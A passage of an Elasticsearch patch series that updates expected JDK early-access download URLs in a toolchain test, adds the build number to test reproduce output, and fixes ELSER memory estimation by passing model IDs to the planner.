-         [25, ORACLE, MAC_OS, X86_64, "https://download.java.net/java/early_access/jdk25/3/GPL/openjdk-25-ea+3_macos-x64_bin.tar.gz"],
-         [25, ORACLE, MAC_OS, AARCH64, "https://download.java.net/java/early_access/jdk25/3/GPL/openjdk-25-ea+3_macos-aarch64_bin.tar.gz"],
-         [25, ORACLE, LINUX, X86_64, "https://download.java.net/java/early_access/jdk25/3/GPL/openjdk-25-ea+3_linux-x64_bin.tar.gz"],
-         [25, ORACLE, LINUX, AARCH64, "https://download.java.net/java/early_access/jdk25/3/GPL/openjdk-25-ea+3_linux-aarch64_bin.tar.gz"],
-         [25, ORACLE, WINDOWS, X86_64, "https://download.java.net/java/early_access/jdk25/3/GPL/openjdk-25-ea+3_windows-x64_bin.zip"],
-         [25, anyVendor(), MAC_OS, X86_64, "https://download.java.net/java/early_access/jdk25/3/GPL/openjdk-25-ea+3_macos-x64_bin.tar.gz"],
-         [25, anyVendor(), MAC_OS, AARCH64, "https://download.java.net/java/early_access/jdk25/3/GPL/openjdk-25-ea+3_macos-aarch64_bin.tar.gz"],
-         [25, anyVendor(), LINUX, X86_64, "https://download.java.net/java/early_access/jdk25/3/GPL/openjdk-25-ea+3_linux-x64_bin.tar.gz"],
-         [25, anyVendor(), LINUX, AARCH64, "https://download.java.net/java/early_access/jdk25/3/GPL/openjdk-25-ea+3_linux-aarch64_bin.tar.gz"],
-         [25, anyVendor(), WINDOWS, X86_64, "https://download.java.net/java/early_access/jdk25/3/GPL/openjdk-25-ea+3_windows-x64_bin.zip"]]
+         [25, ORACLE, MAC_OS, X86_64, "http://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_macos-x64_bin.tar.gz"],
+         [25, ORACLE, MAC_OS, AARCH64, "http://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_macos-aarch64_bin.tar.gz"],
+         [25, ORACLE, LINUX, X86_64, "http://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_linux-x64_bin.tar.gz"],
+         [25, ORACLE, LINUX, AARCH64, "http://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_linux-aarch64_bin.tar.gz"],
+         [25, ORACLE, WINDOWS, X86_64, "http://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_windows-x64_bin.zip"],
+         [25, anyVendor(), MAC_OS, X86_64, "http://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_macos-x64_bin.tar.gz"],
+         [25, anyVendor(), MAC_OS, AARCH64, "http://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_macos-aarch64_bin.tar.gz"],
+         [25, anyVendor(), LINUX, X86_64, "http://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_linux-x64_bin.tar.gz"],
+         [25, anyVendor(), LINUX, AARCH64, "http://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_linux-aarch64_bin.tar.gz"],
+         [25, anyVendor(), WINDOWS, X86_64, "http://builds.es-jdk-archive.com/jdks/openjdk/25/openjdk-25-ea+3/openjdk-25-ea+3_windows-x64_bin.zip"]]
     }
 
     @RestoreSystemProperties
@@ -100,20 +100,20 @@ class OracleOpenJdkToolchainResolverSpec extends AbstractToolchainResolverSpec {
 
         where:
         version | vendor      | os      | arch    | expectedUrl
-        25      | ORACLE      | MAC_OS  | X86_64  | urlPrefix(25) + "13/GPL/openjdk-25-ea+13_macos-x64_bin.tar.gz"
-        25      | ORACLE      | MAC_OS  | AARCH64 | urlPrefix(25) + "13/GPL/openjdk-25-ea+13_macos-aarch64_bin.tar.gz"
-        25      | ORACLE      | LINUX   | X86_64  | urlPrefix(25) + "13/GPL/openjdk-25-ea+13_linux-x64_bin.tar.gz"
-        25      | ORACLE      | LINUX   | AARCH64 | urlPrefix(25) + "13/GPL/openjdk-25-ea+13_linux-aarch64_bin.tar.gz"
-        25      | ORACLE      | WINDOWS | X86_64  | urlPrefix(25) + "13/GPL/openjdk-25-ea+13_windows-x64_bin.zip"
-        25      | anyVendor() | MAC_OS  | X86_64  | urlPrefix(25) + "13/GPL/openjdk-25-ea+13_macos-x64_bin.tar.gz"
-        25      | anyVendor() | MAC_OS  | AARCH64 | urlPrefix(25) + "13/GPL/openjdk-25-ea+13_macos-aarch64_bin.tar.gz"
-        25      | anyVendor() | LINUX   | X86_64  | urlPrefix(25) + "13/GPL/openjdk-25-ea+13_linux-x64_bin.tar.gz"
-        25      | anyVendor() | LINUX   | AARCH64 | urlPrefix(25) + "13/GPL/openjdk-25-ea+13_linux-aarch64_bin.tar.gz"
-        25      | anyVendor() | WINDOWS | X86_64  | urlPrefix(25) + "13/GPL/openjdk-25-ea+13_windows-x64_bin.zip"
+        25      | ORACLE      | MAC_OS  | X86_64  | urlPrefix(25) + "openjdk-25-ea+13/openjdk-25-ea+13_macos-x64_bin.tar.gz"
+        25      | ORACLE      | MAC_OS  | AARCH64 | urlPrefix(25) + "openjdk-25-ea+13/openjdk-25-ea+13_macos-aarch64_bin.tar.gz"
+        25      | ORACLE      | LINUX   | X86_64  | urlPrefix(25) + "openjdk-25-ea+13/openjdk-25-ea+13_linux-x64_bin.tar.gz"
+        25      | ORACLE      | LINUX   | AARCH64 | urlPrefix(25) + "openjdk-25-ea+13/openjdk-25-ea+13_linux-aarch64_bin.tar.gz"
+        25      | ORACLE      | WINDOWS | X86_64  | urlPrefix(25) + "openjdk-25-ea+13/openjdk-25-ea+13_windows-x64_bin.zip"
+        25      | anyVendor() | MAC_OS  | X86_64  | urlPrefix(25) + "openjdk-25-ea+13/openjdk-25-ea+13_macos-x64_bin.tar.gz"
+        25      | anyVendor() | MAC_OS  | AARCH64 | urlPrefix(25) + "openjdk-25-ea+13/openjdk-25-ea+13_macos-aarch64_bin.tar.gz"
+        25      | anyVendor() | LINUX   | X86_64  | urlPrefix(25) + "openjdk-25-ea+13/openjdk-25-ea+13_linux-x64_bin.tar.gz"
+        25      | anyVendor() | LINUX   | AARCH64 | urlPrefix(25) + "openjdk-25-ea+13/openjdk-25-ea+13_linux-aarch64_bin.tar.gz"
+        25      | anyVendor() | WINDOWS | X86_64  | urlPrefix(25) + "openjdk-25-ea+13/openjdk-25-ea+13_windows-x64_bin.zip"
     }
 
     private static String urlPrefix(int i) {
-        return "https://download.java.net/java/early_access/jdk" + i + "/"
+        return "http://builds.es-jdk-archive.com/jdks/openjdk/" + i + "/"
     }
 
     def unsupportedRequests() {
diff --git a/test/framework/src/main/java/org/elasticsearch/test/junit/listeners/ReproduceInfoPrinter.java b/test/framework/src/main/java/org/elasticsearch/test/junit/listeners/ReproduceInfoPrinter.java
index c187c9b822a86..027f99c948efc 100644
--- a/test/framework/src/main/java/org/elasticsearch/test/junit/listeners/ReproduceInfoPrinter.java
+++ b/test/framework/src/main/java/org/elasticsearch/test/junit/listeners/ReproduceInfoPrinter.java
@@ -190,6 +190,9 @@ private ReproduceErrorMessageBuilder appendESProperties() {
             appendOpt("tests.timezone", TimeZone.getDefault().getID());
             appendOpt("tests.distribution", System.getProperty("tests.distribution"));
             appendOpt("runtime.java", Integer.toString(Runtime.version().feature()));
+            if (Runtime.version().build().isPresent() && "ea".equalsIgnoreCase(Runtime.version().pre().orElse(""))) {
+                appendOpt("runtime.java.build", Integer.toString(Runtime.version().build().get()));
+            }
             appendOpt(ESTestCase.FIPS_SYSPROP, System.getProperty(ESTestCase.FIPS_SYSPROP));
             return this;
         }

From 09c0d2492abc70919b9ef6e515b829309dc5a380 Mon Sep 17 00:00:00 2001
From: Jan Kuipers <148754765+jan-elastic@users.noreply.github.com>
Date: Tue, 22 Jul 2025 16:00:26 +0200
Subject: [PATCH 207/299] Fix memory usage estimation for ELSER models
 (#131630) (#131689)

* Pass model ID instead of deployment ID to memory estimator

* Update docs/changelog/131630.yaml
---
 docs/changelog/131630.yaml                    |   5 +
 .../TrainedModelAssignmentRebalancer.java     |   4 +
 .../planning/AbstractPreserveAllocations.java |   1 +
 .../assignment/planning/AssignmentPlan.java   |  12 +-
 .../planning/AssignmentPlanner.java           |   2 +
 .../planning/ZoneAwareAssignmentPlanner.java  |   2 +
 .../planning/AssignmentPlanTests.java         |  92 +++++--
 .../planning/AssignmentPlannerTests.java      | 224 ++++++++++++++----
 .../planning/PreserveAllAllocationsTests.java |  10 +-
 .../planning/PreserveOneAllocationTests.java  |  34 ++-
 .../ZoneAwareAssignmentPlannerTests.java      |  25 +-
 11 files changed, 329 insertions(+), 82 deletions(-)
 create mode 100644 docs/changelog/131630.yaml

diff --git a/docs/changelog/131630.yaml b/docs/changelog/131630.yaml
new file mode 100644
index 0000000000000..4f172ce7bae43
--- /dev/null
+++ b/docs/changelog/131630.yaml
@@ -0,0 +1,5 @@
+pr: 131630
+summary: Fix memory usage estimation for ELSER models
+area: Machine Learning
+type: bug
+issues: []
diff --git a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentRebalancer.java b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentRebalancer.java
index 20cbdaecaa222..7d3cb71d4dc03 100644
--- a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentRebalancer.java
+++ b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/TrainedModelAssignmentRebalancer.java
@@ -169,6 +169,7 @@ private AssignmentPlan computePlanForNormalPriorityModels(
                     .collect(Collectors.toMap(Map.Entry::getKey, e -> e.getValue().getTargetAllocations()));
                 return new AssignmentPlan.Deployment(
                     assignment.getDeploymentId(),
+                    assignment.getModelId(),
                     assignment.getTaskParams().getModelBytes(),
                     assignment.getTaskParams().getNumberOfAllocations(),
                     assignment.getTaskParams().getThreadsPerAllocation(),
@@ -185,6 +186,7 @@ private AssignmentPlan computePlanForNormalPriorityModels(
             planDeployments.add(
                 new AssignmentPlan.Deployment(
                     taskParams.getDeploymentId(),
+                    taskParams.getModelId(),
                     taskParams.getModelBytes(),
                     taskParams.getNumberOfAllocations(),
                     taskParams.getThreadsPerAllocation(),
@@ -225,6 +227,7 @@ private AssignmentPlan computePlanForLowPriorityModels(Set<String> assignableNod
             .map(
                 assignment -> new AssignmentPlan.Deployment(
                     assignment.getDeploymentId(),
+                    assignment.getModelId(),
                     assignment.getTaskParams().getModelBytes(),
                     assignment.getTaskParams().getNumberOfAllocations(),
                     assignment.getTaskParams().getThreadsPerAllocation(),
@@ -242,6 +245,7 @@ private AssignmentPlan computePlanForLowPriorityModels(Set<String> assignableNod
             planDeployments.add(
                 new AssignmentPlan.Deployment(
                     taskParams.getDeploymentId(),
+                    taskParams.getModelId(),
                     taskParams.getModelBytes(),
                     taskParams.getNumberOfAllocations(),
                     taskParams.getThreadsPerAllocation(),
diff --git a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AbstractPreserveAllocations.java b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AbstractPreserveAllocations.java
index 66b8d9e570211..5331821df0ad5 100644
--- a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AbstractPreserveAllocations.java
+++ b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AbstractPreserveAllocations.java
@@ -55,6 +55,7 @@ Deployment modifyModelPreservingPreviousAssignments(Deployment m) {
 
         return new Deployment(
             m.deploymentId(),
+            m.modelId(),
             m.memoryBytes(),
             m.allocations() - calculatePreservedAllocations(m),
             m.threadsPerAllocation(),
diff --git a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlan.java b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlan.java
index c294e7b2de792..21e4a926a3247 100644
--- a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlan.java
+++ b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlan.java
@@ -47,6 +47,7 @@ public class AssignmentPlan implements Comparable<AssignmentPlan> {
      */
     public record Deployment(
         String deploymentId,
+        String modelId,
         long memoryBytes,
         int allocations,
         int threadsPerAllocation,
@@ -59,6 +60,7 @@ public record Deployment(
     ) {
         public Deployment(
             String deploymentId,
+            String modelId,
             long modelBytes,
             int allocations,
             int threadsPerAllocation,
@@ -70,6 +72,7 @@ public Deployment(
         ) {
             this(
                 deploymentId,
+                modelId,
                 modelBytes,
                 allocations,
                 threadsPerAllocation,
@@ -96,7 +99,7 @@ boolean hasEverBeenAllocated() {
 
         public long estimateMemoryUsageBytes(int allocations) {
             return StartTrainedModelDeploymentAction.estimateMemoryUsageBytes(
-                deploymentId,
+                modelId,
                 memoryBytes,
                 perDeploymentMemoryBytes,
                 perAllocationMemoryBytes,
@@ -106,24 +109,23 @@ public long estimateMemoryUsageBytes(int allocations) {
 
         long estimateAdditionalMemoryUsageBytes(int allocationsOld, int allocationsNew) {
             return StartTrainedModelDeploymentAction.estimateMemoryUsageBytes(
-                deploymentId,
+                modelId,
                 memoryBytes,
                 perDeploymentMemoryBytes,
                 perAllocationMemoryBytes,
                 allocationsNew
             ) - StartTrainedModelDeploymentAction.estimateMemoryUsageBytes(
-                deploymentId,
+                modelId,
                 memoryBytes,
                 perDeploymentMemoryBytes,
                 perAllocationMemoryBytes,
                 allocationsOld
             );
-
         }
 
         long minimumMemoryRequiredBytes() {
             return StartTrainedModelDeploymentAction.estimateMemoryUsageBytes(
-                deploymentId,
+                modelId,
                 memoryBytes,
                 perDeploymentMemoryBytes,
                 perAllocationMemoryBytes,
diff --git a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlanner.java b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlanner.java
index 8b33a9fd54fad..e1b6fe0de0b9e 100644
--- a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlanner.java
+++ b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlanner.java
@@ -115,6 +115,7 @@ private AssignmentPlan solveAllocatingAtLeastOnceModelsThatWerePreviouslyAllocat
             .map(
                 m -> new AssignmentPlan.Deployment(
                     m.deploymentId(),
+                    m.modelId(),
                     m.memoryBytes(),
                     1,
                     m.threadsPerAllocation(),
@@ -148,6 +149,7 @@ private AssignmentPlan solveAllocatingAtLeastOnceModelsThatWerePreviouslyAllocat
                 : Map.of();
             return new AssignmentPlan.Deployment(
                 m.deploymentId(),
+                m.modelId(),
                 m.memoryBytes(),
                 m.allocations(),
                 m.threadsPerAllocation(),
diff --git a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/ZoneAwareAssignmentPlanner.java b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/ZoneAwareAssignmentPlanner.java
index c5b750f91014f..ff564e16becc0 100644
--- a/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/ZoneAwareAssignmentPlanner.java
+++ b/x-pack/plugin/ml/src/main/java/org/elasticsearch/xpack/ml/inference/assignment/planning/ZoneAwareAssignmentPlanner.java
@@ -127,6 +127,7 @@ private AssignmentPlan computeZonePlan(
                 d -> new AssignmentPlan.Deployment(
                     // replace each deployment with a new deployment
                     d.deploymentId(),
+                    d.modelId(),
                     d.memoryBytes(),
                     deploymentIdToTargetAllocationsPerZone.get(d.deploymentId()),
                     d.threadsPerAllocation(),
@@ -163,6 +164,7 @@ private AssignmentPlan computePlanAcrossAllNodes(List<AssignmentPlan> plans) {
             .map(
                 d -> new AssignmentPlan.Deployment(
                     d.deploymentId(),
+                    d.modelId(),
                     d.memoryBytes(),
                     d.allocations(),
                     d.threadsPerAllocation(),
diff --git a/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlanTests.java b/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlanTests.java
index 3f93c3431d891..93e247dc898c4 100644
--- a/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlanTests.java
+++ b/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/planning/AssignmentPlanTests.java
@@ -25,14 +25,14 @@ public class AssignmentPlanTests extends ESTestCase {
 
     public void testBuilderCtor_GivenDuplicateNode() {
         Node n = new Node("n_1", 100, 4);
-        AssignmentPlan.Deployment m = new AssignmentPlan.Deployment("m_1", 40, 1, 2, Map.of(), 0, null, 0, 0);
+        AssignmentPlan.Deployment m = new AssignmentPlan.Deployment("m_1", "m_1", 40, 1, 2, Map.of(), 0, null, 0, 0);
 
         expectThrows(IllegalArgumentException.class, () -> AssignmentPlan.builder(List.of(n, n), List.of(m)));
     }
 
     public void testBuilderCtor_GivenDuplicateModel() {
         Node n = new Node("n_1", 100, 4);
-        Deployment m = new AssignmentPlan.Deployment("m_1", 40, 1, 2, Map.of(), 0, null, 0, 0);
+        Deployment m = new AssignmentPlan.Deployment("m_1", "m_1", 40, 1, 2, Map.of(), 0, null, 0, 0);
 
         expectThrows(IllegalArgumentException.class, () -> AssignmentPlan.builder(List.of(n), List.of(m, m)));
     }
@@ -42,6 +42,7 @@ public void testAssignModelToNode_GivenNoPreviousAssignment() {
 
         { // old memory format
             AssignmentPlan.Deployment m = new AssignmentPlan.Deployment(
+                "m_1",
                 "m_1",
                 ByteSizeValue.ofMb(40).getBytes(),
                 1,
@@ -75,6 +76,7 @@ public void testAssignModelToNode_GivenNoPreviousAssignment() {
         }
         { // new memory format
             AssignmentPlan.Deployment m = new AssignmentPlan.Deployment(
+                "m_1",
                 "m_1",
                 ByteSizeValue.ofMb(20).getBytes(),
                 1,
@@ -112,6 +114,7 @@ public void testAssignModelToNode_GivenNewPlanSatisfiesCurrentAssignment() {
         Node n = new Node("n_1", ByteSizeValue.ofMb(350).getBytes(), 4);
         {   // old memory format
             AssignmentPlan.Deployment m = new AssignmentPlan.Deployment(
+                "m_1",
                 "m_1",
                 ByteSizeValue.ofMb(30).getBytes(),
                 2,
@@ -140,6 +143,7 @@ public void testAssignModelToNode_GivenNewPlanSatisfiesCurrentAssignment() {
         }
         {   // new memory format
             AssignmentPlan.Deployment m = new AssignmentPlan.Deployment(
+                "m_1",
                 "m_1",
                 ByteSizeValue.ofMb(25).getBytes(),
                 2,
@@ -173,7 +177,7 @@ public void testAssignModelToNode_GivenNewPlanDoesNotSatisfyCurrentAssignment()
         Node n = new Node("n_1", ByteSizeValue.ofMb(300).getBytes(), 4);
         {
             // old memory format
-            Deployment m = new Deployment("m_1", ByteSizeValue.ofMb(30).getBytes(), 2, 2, Map.of("n_1", 2), 0, null, 0, 0);
+            Deployment m = new Deployment("m_1", "m_1", ByteSizeValue.ofMb(30).getBytes(), 2, 2, Map.of("n_1", 2), 0, null, 0, 0);
 
             AssignmentPlan.Builder builder = AssignmentPlan.builder(List.of(n), List.of(m));
 
@@ -193,6 +197,7 @@ public void testAssignModelToNode_GivenNewPlanDoesNotSatisfyCurrentAssignment()
         {
             // new memory format
             Deployment m = new Deployment(
+                "m_1",
                 "m_1",
                 ByteSizeValue.ofMb(25).getBytes(),
                 2,
@@ -223,7 +228,7 @@ public void testAssignModelToNode_GivenNewPlanDoesNotSatisfyCurrentAssignment()
 
     public void testAssignModelToNode_GivenPreviouslyUnassignedModelDoesNotFit() {
         Node n = new Node("n_1", ByteSizeValue.ofMb(340 - 1).getBytes(), 4);
-        Deployment m = new AssignmentPlan.Deployment("m_1", ByteSizeValue.ofMb(50).getBytes(), 2, 2, Map.of(), 0, null, 0, 0);
+        Deployment m = new AssignmentPlan.Deployment("m_1", "m_1", ByteSizeValue.ofMb(50).getBytes(), 2, 2, Map.of(), 0, null, 0, 0);
 
         AssignmentPlan.Builder builder = AssignmentPlan.builder(List.of(n), List.of(m));
         Exception e = expectThrows(IllegalArgumentException.class, () -> builder.assignModelToNode(m, n, 1));
@@ -235,6 +240,7 @@ public void testAssignModelToNode_GivenPreviouslyAssignedModelDoesNotFit() {
         { // old memory format
             Node n = new Node("n_1", ByteSizeValue.ofMb(340 - 1).getBytes(), 4);
             AssignmentPlan.Deployment m = new AssignmentPlan.Deployment(
+                "m_1",
                 "m_1",
                 ByteSizeValue.ofMb(50).getBytes(),
                 2,
@@ -258,6 +264,7 @@ public void testAssignModelToNode_GivenPreviouslyAssignedModelDoesNotFit() {
         { // new memory format
             Node n = new Node("n_1", ByteSizeValue.ofMb(340 - 1).getBytes(), 4);
             AssignmentPlan.Deployment m = new AssignmentPlan.Deployment(
+                "m_1",
                 "m_1",
                 ByteSizeValue.ofMb(30).getBytes(),
                 2,
@@ -282,7 +289,7 @@ public void testAssignModelToNode_GivenPreviouslyAssignedModelDoesNotFit() {
 
     public void testAssignModelToNode_GivenNotEnoughCores_AndSingleThreadPerAllocation() {
         Node n = new Node("n_1", ByteSizeValue.ofMb(500).getBytes(), 4);
-        Deployment m = new AssignmentPlan.Deployment("m_1", ByteSizeValue.ofMb(100).getBytes(), 5, 1, Map.of(), 0, null, 0, 0);
+        Deployment m = new AssignmentPlan.Deployment("m_1", "m_1", ByteSizeValue.ofMb(100).getBytes(), 5, 1, Map.of(), 0, null, 0, 0);
 
         AssignmentPlan.Builder builder = AssignmentPlan.builder(List.of(n), List.of(m));
         Exception e = expectThrows(IllegalArgumentException.class, () -> builder.assignModelToNode(m, n, 5));
@@ -296,6 +303,7 @@ public void testAssignModelToNode_GivenNotEnoughCores_AndSingleThreadPerAllocati
     public void testAssignModelToNode_GivenNotEnoughCores_AndMultipleThreadsPerAllocation() {
         Node n = new Node("n_1", ByteSizeValue.ofMb(500).getBytes(), 5);
         AssignmentPlan.Deployment m = new AssignmentPlan.Deployment(
+            "m_1",
             "m_1",
             ByteSizeValue.ofMb(100).getBytes(),
             3,
@@ -319,6 +327,7 @@ public void testAssignModelToNode_GivenNotEnoughCores_AndMultipleThreadsPerAlloc
     public void testAssignModelToNode_GivenSameModelAssignedTwice() {
         Node n = new Node("n_1", ByteSizeValue.ofMb(1000).getBytes(), 8);
         Deployment m = new AssignmentPlan.Deployment(
+            "m_1",
             "m_1",
             ByteSizeValue.ofMb(50).getBytes(),
             4,
@@ -362,7 +371,7 @@ public void testAssignModelToNode_GivenSameModelAssignedTwice() {
 
     public void testCanAssign_GivenPreviouslyUnassignedModelDoesNotFit() {
         Node n = new Node("n_1", 100, 5);
-        AssignmentPlan.Deployment m = new AssignmentPlan.Deployment("m_1", 101, 1, 1, Map.of(), 0, null, 0, 0);
+        AssignmentPlan.Deployment m = new AssignmentPlan.Deployment("m_1", "m_1", 101, 1, 1, Map.of(), 0, null, 0, 0);
 
         AssignmentPlan.Builder builder = AssignmentPlan.builder(List.of(n), List.of(m));
 
@@ -373,13 +382,14 @@ public void testCanAssign_GivenPreviouslyAssignedModelDoesNotFit() {
         Node n = new Node("n_1", ByteSizeValue.ofMb(300).getBytes(), 5);
         {
             // old memory format
-            Deployment m = new Deployment("m_1", ByteSizeValue.ofMb(31).getBytes(), 1, 1, Map.of("n_1", 1), 0, null, 0, 0);
+            Deployment m = new Deployment("m_1", "m_1", ByteSizeValue.ofMb(31).getBytes(), 1, 1, Map.of("n_1", 1), 0, null, 0, 0);
             AssignmentPlan.Builder builder = AssignmentPlan.builder(List.of(n), List.of(m));
             assertThat(builder.canAssign(m, n, 1), is(true));
         }
         {
             // new memory format
             Deployment m = new Deployment(
+                "m_1",
                 "m_1",
                 ByteSizeValue.ofMb(25).getBytes(),
                 1,
@@ -398,6 +408,7 @@ public void testCanAssign_GivenPreviouslyAssignedModelDoesNotFit() {
     public void testCanAssign_GivenEnoughMemory() {
         Node n = new Node("n_1", ByteSizeValue.ofMb(440).getBytes(), 5);
         AssignmentPlan.Deployment m = new AssignmentPlan.Deployment(
+            "m_1",
             "m_1",
             ByteSizeValue.ofMb(100).getBytes(),
             3,
@@ -422,13 +433,25 @@ public void testCompareTo_GivenDifferenceInPreviousAssignments() {
         Node n = new Node("n_1", ByteSizeValue.ofMb(300).getBytes(), 5);
 
         {
-            Deployment m = new AssignmentPlan.Deployment("m_1", ByteSizeValue.ofMb(30).getBytes(), 3, 2, Map.of("n_1", 2), 0, null, 0, 0);
+            Deployment m = new AssignmentPlan.Deployment(
+                "m_1",
+                "m_1",
+                ByteSizeValue.ofMb(30).getBytes(),
+                3,
+                2,
+                Map.of("n_1", 2),
+                0,
+                null,
+                0,
+                0
+            );
             AssignmentPlan.Builder builder = AssignmentPlan.builder(List.of(n), List.of(m));
             builder.assignModelToNode(m, n, 2);
             planSatisfyingPreviousAssignments = builder.build();
         }
         {
             AssignmentPlan.Deployment m = new AssignmentPlan.Deployment(
+                "m_1",
                 "m_1",
                 ByteSizeValue.ofMb(30).getBytes(),
                 3,
@@ -453,6 +476,7 @@ public void testCompareTo_GivenDifferenceInAllocations() {
         AssignmentPlan planWithFewerAllocations;
         Node n = new Node("n_1", ByteSizeValue.ofMb(300).getBytes(), 5);
         AssignmentPlan.Deployment m = new AssignmentPlan.Deployment(
+            "m_1",
             "m_1",
             ByteSizeValue.ofMb(30).getBytes(),
             3,
@@ -485,13 +509,25 @@ public void testCompareTo_GivenDifferenceInMemory() {
         Node n = new Node("n_1", ByteSizeValue.ofMb(300).getBytes(), 5);
 
         {
-            Deployment m = new AssignmentPlan.Deployment("m_1", ByteSizeValue.ofMb(30).getBytes(), 3, 2, Map.of("n_1", 1), 0, null, 0, 0);
+            Deployment m = new AssignmentPlan.Deployment(
+                "m_1",
+                "m_1",
+                ByteSizeValue.ofMb(30).getBytes(),
+                3,
+                2,
+                Map.of("n_1", 1),
+                0,
+                null,
+                0,
+                0
+            );
             AssignmentPlan.Builder builder = AssignmentPlan.builder(List.of(n), List.of(m));
             builder.assignModelToNode(m, n, 2);
             planUsingMoreMemory = builder.build();
         }
         {
             AssignmentPlan.Deployment m = new AssignmentPlan.Deployment(
+                "m_1",
                 "m_1",
                 ByteSizeValue.ofMb(29).getBytes(),
                 3,
@@ -517,6 +553,7 @@ public void testSatisfiesAllModels_GivenAllDeploymentsAreSatisfied() {
         {
             // old memory format
             AssignmentPlan.Deployment deployment1 = new AssignmentPlan.Deployment(
+                "m_1",
                 "m_1",
                 ByteSizeValue.ofMb(50).getBytes(),
                 1,
@@ -528,6 +565,7 @@ public void testSatisfiesAllModels_GivenAllDeploymentsAreSatisfied() {
                 0
             );
             AssignmentPlan.Deployment deployment2 = new AssignmentPlan.Deployment(
+                "m_2",
                 "m_2",
                 ByteSizeValue.ofMb(30).getBytes(),
                 2,
@@ -539,6 +577,7 @@ public void testSatisfiesAllModels_GivenAllDeploymentsAreSatisfied() {
                 0
             );
             AssignmentPlan.Deployment deployment3 = new AssignmentPlan.Deployment(
+                "m_3",
                 "m_3",
                 ByteSizeValue.ofMb(20).getBytes(),
                 4,
@@ -560,6 +599,7 @@ public void testSatisfiesAllModels_GivenAllDeploymentsAreSatisfied() {
         {
             // new memory format
             AssignmentPlan.Deployment deployment1 = new AssignmentPlan.Deployment(
+                "m_1",
                 "m_1",
                 ByteSizeValue.ofMb(50).getBytes(),
                 1,
@@ -571,6 +611,7 @@ public void testSatisfiesAllModels_GivenAllDeploymentsAreSatisfied() {
                 ByteSizeValue.ofMb(10).getBytes()
             );
             AssignmentPlan.Deployment deployment2 = new AssignmentPlan.Deployment(
+                "m_2",
                 "m_2",
                 ByteSizeValue.ofMb(30).getBytes(),
                 2,
@@ -582,6 +623,7 @@ public void testSatisfiesAllModels_GivenAllDeploymentsAreSatisfied() {
                 ByteSizeValue.ofMb(10).getBytes()
             );
             AssignmentPlan.Deployment deployment3 = new AssignmentPlan.Deployment(
+                "m_3",
                 "m_3",
                 ByteSizeValue.ofMb(20).getBytes(),
                 4,
@@ -605,9 +647,9 @@ public void testSatisfiesAllModels_GivenAllDeploymentsAreSatisfied() {
     public void testSatisfiesAllDeployments_GivenOneModelHasOneAllocationLess() {
         Node node1 = new Node("n_1", ByteSizeValue.ofMb(1000).getBytes(), 4);
         Node node2 = new Node("n_2", ByteSizeValue.ofMb(1000).getBytes(), 4);
-        Deployment deployment1 = new Deployment("m_1", ByteSizeValue.ofMb(50).getBytes(), 1, 2, Map.of(), 0, null, 0, 0);
-        Deployment deployment2 = new Deployment("m_2", ByteSizeValue.ofMb(30).getBytes(), 2, 1, Map.of(), 0, null, 0, 0);
-        Deployment deployment3 = new Deployment("m_3", ByteSizeValue.ofMb(20).getBytes(), 4, 1, Map.of(), 0, null, 0, 0);
+        Deployment deployment1 = new Deployment("m_1", "m_1", ByteSizeValue.ofMb(50).getBytes(), 1, 2, Map.of(), 0, null, 0, 0);
+        Deployment deployment2 = new Deployment("m_2", "m_2", ByteSizeValue.ofMb(30).getBytes(), 2, 1, Map.of(), 0, null, 0, 0);
+        Deployment deployment3 = new Deployment("m_3", "m_3", ByteSizeValue.ofMb(20).getBytes(), 4, 1, Map.of(), 0, null, 0, 0);
         AssignmentPlan plan = AssignmentPlan.builder(List.of(node1, node2), List.of(deployment1, deployment2, deployment3))
             .assignModelToNode(deployment1, node1, 1)
             .assignModelToNode(deployment2, node2, 2)
